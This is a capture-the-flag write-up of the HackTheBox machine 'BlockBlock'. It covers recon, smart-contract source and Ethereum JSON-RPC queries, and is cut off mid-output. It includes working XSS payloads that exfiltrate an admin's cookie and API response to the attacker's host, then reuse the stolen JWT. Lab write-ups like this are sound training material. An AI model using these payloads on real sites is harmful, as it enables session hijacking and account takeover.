BlockBlock – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar blockblock


Summary Link to heading

“BlockBlock” is a Hard machine from HackTheBox platform. The victim machine is running a web server which has a chatbot running. There is also an option vulnerable to XSS, which allow us to extract an admin token and use it to enter into a forbidden path. Once inside this internal path, we are able to extract data about blockchain running in the target machine. We are able to read its logs and extract SSH credentials for a user in the victim machine. Once inside, we are able to run forge as another user; eventually allowing us to pivot to this second user. This second user can run pacman in the victim machine as any user, which allow us to create a malicious package and install it to gain root access.


User Link to heading

Nmap scan only shows 3 ports open: 22 SSH, 80 HTTP and 8545 another HTTP service:

❯ sudo nmap -sVC -p22,80,8545 10.10.11.43

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 22:57 -03
Nmap scan report for 10.10.11.43
Host is up (0.31s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp   open  http    Werkzeug/3.0.3 Python/3.12.3
|_http-title:          Home  - DBLC
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Wed, 18 Dec 2024 01:57:55 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 275864
|     Access-Control-Allow-Origin: http://0.0.0.0/
|     Access-Control-Allow-Headers: Content-Type,Authorization
|     Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
|     Connection: close
<SNIP>
8545/tcp open  unknown
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 400 BAD REQUEST
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Wed, 18 Dec 2024 01:57:55 GMT
|     content-type: text/plain; charset=utf-8
|     Content-Length: 43
|     vary: origin, access-control-request-method, access-control-request-headers
|     access-control-allow-origin: *
|     date: Wed, 18 Dec 2024 01:57:55 GMT
|     Connection: close
|     Connection header did not include 'upgrade'
|   HTTPOptions:
<SNIP>

Searching a little bit, port 8454 is related with Ethereum blockchain; but nothing besides that.

Checking technologies being used at the site with WhatWeb we get:

❯ whatweb -a 3 http://10.10.11.43

http://10.10.11.43 [200 OK] Access-Control-Allow-Methods[GET,POST,PUT,DELETE,OPTIONS], Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], Script, Title[Home  - DBLC][Title element contains newline(s)!], UncommonHeaders[access-control-allow-origin,access-control-allow-headers,access-control-allow-methods], Werkzeug[3.0.3]

❯ whatweb -a 3 http://10.10.11.43:8545

http://10.10.11.43:8545 [400 Bad Request] Country[RESERVED][ZZ], HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], UncommonHeaders[access-control-allow-origin], Werkzeug[3.0.3]

Both sites seems to be running web pages using Flask.

Visiting http://10.10.11.43 shows a webpage about blockchain:

BlockBlock 1

If we create an account we can see a chatbot:

BlockBlock

If we send different messages the bot does not respond. If we go to our user profile (clicking on Profile) we can see:

BlockBlock 3

Our user rol is user and we also can see messages sent in the chat.

If we intercept the request sent to our profile with Burpsuite we get the following HTTP request:

GET /profile HTTP/1.1
Host: 10.10.11.43
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.43/chat
DNT: 1
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4
Upgrade-Insecure-Requests: 1

We have a Jason Web Token (JWT). Checking its content in a page like https://token.dev/ we get:

BlockBlock 4

But nothing seems to be useful at the moment.

If we open the webpage through Burpsuite web browser, log in with our created account and start hanging around the site, eventually we can see that we have many requests to /api/info path. Checking what we have if we request info using our JWT we get:

❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq

{
  "role": "user",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4",
  "username": "gunzf0x"
}

But nothing besides that again.

If we check HTTP site on port 8545 it asks for headers to properly work:

❯ curl -s http://10.10.11.43:8545

Connection header did not include 'upgrade'

And using the suggested headers we get:

❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade'

`Upgrade` header did not include 'websocket'%

❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade' -H 'Upgrade: websocket'

<!doctype html>
<html lang=en>
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>

This does not seems to work.

If we go back to the chat with bot, at the very bottom part of the webpage we have the text Note: You can review our smart contracts anytime here and redirects to:

http://10.10.11.43/api/contract_source

If we try to check it along with jq:

❯ curl -s http://10.10.11.43/api/contract_source | jq

{
  "msg": "Missing cookie \"token\""
}

It asks for a session. Since we have seen that the session is based on a JWT, pass the token provided for our created user account:

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq

{
  "Chat.sol": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.23;\n\n// import \"./Database.sol\";\n\ninterface IDatabase {\n    function accountExist(\n        string calldata username\n    ) external view returns (bool);\n\n    function setChatAddress(address _chat) external;\n}\n\ncontract Chat {\n    struct Message {\n        string content;\n        string sender;\n        uint256 timestamp;\n    }\n\n    address public immutable owner;\n    IDatabase public immutable database;\n\n    mapping(string user => Message[] msg) internal userMessages;\n    uint256 internal totalMessagesCount;\n\n    event MessageSent(\n        uint indexed id,\n        uint indexed timestamp,\n        string sender,\n        string content\n    );\n\n    modifier onlyOwner() {\n        if (msg.sender != owner) {\n            revert(\"Only owner can call this function\");\n        }\n        _;\n    }\n\n    modifier onlyExistingUser(string calldata username) {\n        if (!database.accountExist(username)) {\n            revert(\"User does not exist\");\n        }\n        _;\n    }\n\n    constructor(address _database) {\n        owner = msg.sender;\n        database = IDatabase(_database);\n        database.setChatAddress(address(this));\n    }\n\n    receive() external payable {}\n\n    function withdraw() public onlyOwner {\n        payable(owner).transfer(address(this).balance);\n    }\n\n    function deleteUserMessages(string calldata user) public {\n        if (msg.sender != address(database)) {\n            revert(\"Only database can call this function\");\n        }\n        delete userMessages[user];\n    }\n\n    function sendMessage(\n        string calldata sender,\n        string calldata content\n    ) public onlyOwner onlyExistingUser(sender) {\n        userMessages[sender].push(Message(content, sender, block.timestamp));\n        totalMessagesCount++;\n        emit MessageSent(totalMessagesCount, block.timestamp, sender, content);\n    }\n\n    function getUserMessage(\n        string calldata user,\n        uint256 index\n    )\n        public\n        view\n        onlyOwner\n        onlyExistingUser(user)\n        returns (string memory, string memory, uint256)\n    {\n        return (\n            userMessages[user][index].content,\n            userMessages[user][index].sender,\n            userMessages[user][index].timestamp\n        );\n    }\n\n    function getUserMessagesRange(\n        string calldata user,\n        uint256 start,\n        uint256 end\n    ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n        require(start < end, \"Invalid range\");\n        require(end <= userMessages[user].length, \"End index out of bounds\");\n\n        Message[] memory result = new Message[](end - start);\n        for (uint256 i = start; i < end; i++) {\n            result[i - start] = userMessages[user][i];\n        }\n        return result;\n    }\n\n    function getRecentUserMessages(\n        string calldata user,\n        uint256 count\n    ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n        if (count > userMessages[user].length) {\n            count = userMessages[user].length;\n        }\n\n        Message[] memory result = new Message[](count);\n        for (uint256 i = 0; i < count; i++) {\n            result[i] = userMessages[user][\n                userMessages[user].length - count + i\n            ];\n        }\n        return result;\n    }\n\n    function getUserMessages(\n        string calldata user\n    ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n        return userMessages[user];\n    }\n\n    function getUserMessagesCount(\n        string calldata user\n    ) public view onlyOwner onlyExistingUser(user) returns (uint256) {\n        return userMessages[user].length;\n    }\n\n    function getTotalMessagesCount() public view onlyOwner returns (uint256) {\n        return totalMessagesCount;\n    }\n}\n",
  "Database.sol": "// SPDX-License-Identifier: GPL-3.0\npragma solidity ^0.8.23;\n\ninterface IChat {\n    function deleteUserMessages(string calldata user) external;\n}\n\ncontract Database {\n    struct User {\n        string password;\n        string role;\n        bool exists;\n    }\n\n    address immutable owner;\n    IChat chat;\n\n    mapping(string username => User) users;\n\n    event AccountRegistered(string username);\n    event AccountDeleted(string username);\n    event PasswordUpdated(string username);\n    event RoleUpdated(string username);\n\n    modifier onlyOwner() {\n        if (msg.sender != owner) {\n            revert(\"Only owner can call this function\");\n        }\n        _;\n    }\n    modifier onlyExistingUser(string memory username) {\n        if (!users[username].exists) {\n            revert(\"User does not exist\");\n        }\n        _;\n    }\n\n    constructor(string memory secondaryAdminUsername,string memory password) {\n        users[\"admin\"] = User(password, \"admin\", true);\n        owner = msg.sender;\n        registerAccount(secondaryAdminUsername, password);\n    }\n\n    function accountExist(string calldata username) public view returns (bool) {\n        return users[username].exists;\n    }\n\n    function getAccount(\n        string calldata username\n    )\n        public\n        view\n        onlyOwner\n        onlyExistingUser(username)\n        returns (string memory, string memory, string memory)\n    {\n        return (username, users[username].password, users[username].role);\n    }\n\n    function setChatAddress(address _chat) public {\n        if (address(chat) != address(0)) {\n            revert(\"Chat address already set\");\n        }\n\n        chat = IChat(_chat);\n    }\n\n    function registerAccount(\n        string memory username,\n        string memory password\n    ) public onlyOwner {\n        if (\n            keccak256(bytes(users[username].password)) != keccak256(bytes(\"\"))\n        ) {\n            revert(\"Username already exists\");\n        }\n        users[username] = User(password, \"user\", true);\n        emit AccountRegistered(username);\n    }\n\n    function deleteAccount(string calldata username) public onlyOwner {\n        if (!users[username].exists) {\n            revert(\"User does not exist\");\n        }\n        delete users[username];\n\n        chat.deleteUserMessages(username);\n        emit AccountDeleted(username);\n    }\n\n    function updatePassword(\n        string calldata username,\n        string calldata oldPassword,\n        string calldata newPassword\n    ) public onlyOwner onlyExistingUser(username) {\n        if (\n            keccak256(bytes(users[username].password)) !=\n            keccak256(bytes(oldPassword))\n        ) {\n            revert(\"Invalid password\");\n        }\n\n        users[username].password = newPassword;\n        emit PasswordUpdated(username);\n    }\n\n    function updateRole(\n        string calldata username,\n        string calldata role\n    ) public onlyOwner onlyExistingUser(username) {\n        if (!users[username].exists) {\n            revert(\"User does not exist\");\n        }\n\n        users[username].role = role;\n        emit RoleUpdated(username);\n    }\n}\n"
}

We can see some functions at Chat.sol and Database.sol properties.

We can play with jq and extract their content. Content for Database.sol seems interesting:

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]'

and get:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;

interface IChat {
    function deleteUserMessages(string calldata user) external;
}

contract Database {
    struct User {
        string password;
        string role;
        bool exists;
    }

    address immutable owner;
    IChat chat;

    mapping(string username => User) users;

    event AccountRegistered(string username);
    event AccountDeleted(string username);
    event PasswordUpdated(string username);
    event RoleUpdated(string username);

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert("Only owner can call this function");
        }
        _;
    }
    modifier onlyExistingUser(string memory username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        _;
    }

    constructor(string memory secondaryAdminUsername,string memory password) {
        users["admin"] = User(password, "admin", true);
        owner = msg.sender;
        registerAccount(secondaryAdminUsername, password);
    }

    function accountExist(string calldata username) public view returns (bool) {
        return users[username].exists;
    }

    function getAccount(
        string calldata username
    )
        public
        view
        onlyOwner
        onlyExistingUser(username)
        returns (string memory, string memory, string memory)
    {
        return (username, users[username].password, users[username].role);
    }

    function setChatAddress(address _chat) public {
        if (address(chat) != address(0)) {
            revert("Chat address already set");
        }

        chat = IChat(_chat);
    }

    function registerAccount(
        string memory username,
        string memory password
    ) public onlyOwner {
        if (
            keccak256(bytes(users[username].password)) != keccak256(bytes(""))
        ) {
            revert("Username already exists");
        }
        users[username] = User(password, "user", true);
        emit AccountRegistered(username);
    }

    function deleteAccount(string calldata username) public onlyOwner {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        delete users[username];

        chat.deleteUserMessages(username);
        emit AccountDeleted(username);
    }

    function updatePassword(
        string calldata username,
        string calldata oldPassword,
        string calldata newPassword
    ) public onlyOwner onlyExistingUser(username) {
        if (
            keccak256(bytes(users[username].password)) !=
            keccak256(bytes(oldPassword))
        ) {
            revert("Invalid password");
        }

        users[username].password = newPassword;
        emit PasswordUpdated(username);
    }

    function updateRole(
        string calldata username,
        string calldata role
    ) public onlyOwner onlyExistingUser(username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }

        users[username].role = role;
        emit RoleUpdated(username);
    }
}

This is a code written in Solidity, a programming language used for writing smart contracts on Ethereum blockchains. One function that catches my attention is updateRole, which can promote the role of a user to admin. We have to save both codes (for Chat.sol and Database.sol), since they will be useful later.

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]' > Database.sol

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Chat.sol"]' > Chat.sol

Everything seems to point that we need to interact with service at port 8545 for blockchain/Ethereum service. Searching a little bit about the upgrade error in the header for this port we find this StackOverflow post. There they talk about a tool called Ganache. Searching for that tool we find this post explaining what this tool does.

Back to the main website we have a Report User button in the bot chat. If we click on it and send anything random we get:

BlockBlock 5

So there might be an admin checking our message sent. What if we attempt to send a XSS payload and attempt to extract its cookie?

First, just check if a simple XSS attack works. First, start a simple HTTP server with Python on port 8000:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Eventually, one of the XSS payload works:

<img src=x onerror=this.src="http://10.10.16.3:8000/xss.js?"+document.cookie>

and we get some responses:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.43 - - [18/Dec/2024 00:30:23] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:23] "GET /xss.js? HTTP/1.1" 404 -
10.10.11.43 - - [18/Dec/2024 00:30:24] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:24] "GET /xss.js? HTTP/1.1" 404 -

The payload worked.

We can then try the following: First, the person that is victim of XSS visits /api/info path and, then, send that response to our attacker machine. After some attempts, we manage to do this with:

<img src=x onerror="fetch('http://10.10.11.43/api/info').then(response => {return response.text();}).then(dataFromAPI => {return fetch(`http://10.10.16.3:8888/?data=${dataFromAPI}`)})">

BlockBlock 6

Where we have changed the port attack to 8888 (since the machine keeps sending the first XSS payload that worked and it’s annoying).

Start a Python HTTP server as we did before, and send the payload from above. We get then:

❯ python3 -m http.server 8888

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.43 - - [18/Dec/2024 00:26:42] "GET /?data={%22role%22:%22admin%22,%22token%22:%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg%22,%22username%22:%22admin%22} HTTP/1.1" 200 -

and decoding it we get:

"role":"admin",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
"username":"admin"

As we did before, check the content of this token at https://token.dev/:

BlockBlock 7

We got an admin token.

Note
This admin JWT expires after some minutes, so we might need to apply again XSS attack to obtain a new token

We can check this with /api/info as well:

❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg' | jq

{
  "role": "admin",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
  "username": "admin"
}

Go to a browser like Firefox, go to Profile and replace the current JWT with the extracted JWT. We are now admin user:

BlockBlock 8

At the top right side, we can see an Admin tab. That is new. Clicking on it redirects to http://10.10.11.43/admin. We have a new dashboard. Going to Users tab shows 2 users: one is our created user and the other is a new one called keira:

BlockBlock 9

But this user does not show anything interesting.

If we check the source code of the webpage we have something:

(async () => {
    const jwtSecret = await (await fetch('/api/json-rpc')).json();
    const web3 = new Web3(window.origin + "/api/json-rpc");
    const postsCountElement = document.getElementById('chat-posts-count');
    let chatAddress = await (await fetch("/api/chat_address")).text();
    let postsCount = 0;
    chatAddress = (chatAddress.replace(/[\n"]/g, ""));

    // })();
    // (async () => {
    //     let jwtSecret = await (await fetch('/api/json-rpc')).json();

    let balance = await fetch(window.origin + "/api/json-rpc", {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            "token": jwtSecret['Authorization'],
        },
        body: JSON.stringify({
            jsonrpc: "2.0",
            method: "eth_getBalance",
            params: [chatAddress, "latest"],
            id: 1
        })
    });
    let bal = (await balance.json()).result // || '0';
    console.log(bal)
    document.getElementById('donations').innerText = "$" + web3.utils.fromWei(bal,
        'ether')

})();
async function DeleteUser() {
    let username = document.getElementById('user-select').value;
    console.log(username)
    console.log('deleting user')
    let res = await fetch('/api/delete_user', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            username: username
        })
    })
}

The page is calling /api/json-rpc and obtaining an Authorization parameter.

Searching what is this feature we get:

Info
JSON-RPC is a simple remote procedure call protocol encoded in JSON (Extensible Markup Language), over the HTTP 1.1 protocol. The Ethereum JSON-RPC API is implemented as a set of Web3 object methods that allow clients to interact with the Ethereum blockchain.

This video also provides an excellent explanation about it as well. We also find this page designed to deal with this API and its different methods. From the web page source code, the method is eth_getBalance.

Checking what we get if we use this API with admin JWT we get:

❯ curl -s 'http://10.10.11.43/api/json-rpc' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'

{"Authorization":"cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"}

We get an Authorization value.

Checking /chat_address (the other route being used by the custom dashboard) we get:

❯ curl -s 'http://10.10.11.43/api/chat_address' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'

"0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"

I tried to execute this with cURL but did not work (later, I realized this was because we need to pass the Authentication value found and the JWT). Instead, we can go to our internet browser (Firefox in my case), go to Console (Ctrl+Shift+I) and paste the code found in the source code, but using the values found:

fetch('http://10.10.11.43/api/json-rpc', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        "token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
    },
    body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_getBalance",
        params: ["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8", "latest"],
        id: 1
    })
})
.then(response => response.json())
.then(data => {
    console.log(data);
})
.catch(error => {
    console.error('Error:', error);
});

BlockBlock 10

We got as response 0x0 (0 in hexadecimal).

Note
If we want to run commands with cURL to the API we must use the JWT for admin and the Authorization value found. For example:
❯ curl -X POST http://10.10.11.43/api/json-rpc \
-H "Content-Type: application/json" \
-H "token:f30c7cdeb9a34b8314355fb7acdab42ea7cfde2264b942fa72ccf37f4b3ff9d2" \
--cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTU3NjY1NywianRpIjoiMWZkN2I4NTEtMGQwNS00Njg2LTkzZjItMGI0NmQ3NGVlNmU3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQxNTc2NjU3LCJleHAiOjE3NDIxODE0NTd9.MhOpHxCxUnvW48PkSFnfHPV6J5gdHri0zH0lPM5Ld-E" \
-d '{
        "jsonrpc": "2.0",
        "method": "eth_getTransactionByHash",
        "params": ["0x95125517a48dcf4503a067c29f176e646ae0b7d54d1e59c5a7146baf6fa93281"],
        "id": 1
      }'

Based on the previous page we have shown, we have many methods. But they are not all the methods available, we can find them all at Ethereum.org official documentation or in this page. However, we must first ask ourselves, what is a block in Ethereum?

Info
In Ethereum, a block is a collection of transactions and other data that are added to the Ethereum blockchain.

To check blocks we have to change the method specified. The structure is usually the same as the snippet of code we have previously shown. The only 2 things that changes are the method specified, and parameters needed by the respective method. Among them we have the method eth_blockNumber that returns the number of the most recent block as is explained here:. It does not require parameters, so we just replace:

    body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_blockNumber",
        params: [],
        id: 1
    })

In the code snippet from above, paste that into Firefox console developer and obtain:

Block 11

We got as block number 0xf.

After inspecting the functions, we can see eth_getBlockByNumber. Based on its documentation, and as its name says, it returns information about a block based on its number. Since the block number was 0xf, change the method and pass as parameters:

    body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_getBlockByNumber",
        params: ["0xf", true],
        id: 1
    })

Running it shows a lot of output. From the documentation we can see there is an Input value that should show all the data sent along the transaction. In our case we find it at:

BlockBlock 12

and get:

0x467fba0f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000767756e7a6630780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000047465737400000000000000000000000000000000000000000000000000000000

Now, we need something called .abi files to see the text. Searching, there is a tool that passes .sol files (that’s why we needed to save Chat.sol and Database.sol files) called solc. We can install it with npm:

❯ sudo npm install -g solc

added 9 packages in 4s

and use it to pass .sol to .abi files:

❯ /usr/local/bin/solcjs --abi Database.sol --bin --optimize -o Database.abi

❯ ls -la Database.abi
total 28
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Dec 18 02:22 .
drwxrwxr-x 3 gunzf0x gunzf0x  4096 Dec 18 02:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  2319 Dec 18 02:22 Database_sol_Database.abi
-rw-rw-r-- 1 gunzf0x gunzf0x 12052 Dec 18 02:22 Database_sol_Database.bin
-rw-rw-r-- 1 gunzf0x gunzf0x   160 Dec 18 02:22 Database_sol_IChat.abi
-rw-rw-r-- 1 gunzf0x gunzf0x     0 Dec 18 02:22 Database_sol_IChat.bin

❯ /usr/local/bin/solcjs --abi Chat.sol --bin --optimize -o Chat.abi

For example, for Chat_sol_Chat.abi generated file we get:

❯ cat Chat_sol_Chat.abi

[{"inputs":[{"internalType":"address","name":"_database","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"},{"indexed":false,"internalType":"string","name":"sender","type":"string"},{"indexed":false,"internalType":"string","name":"content","type":"string"}],"name":"MessageSent","type":"event"},{"inputs":[],"name":"database","outputs":[{"internalType":"contract IDatabase","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"deleteUserMessages","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"getRecentUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct 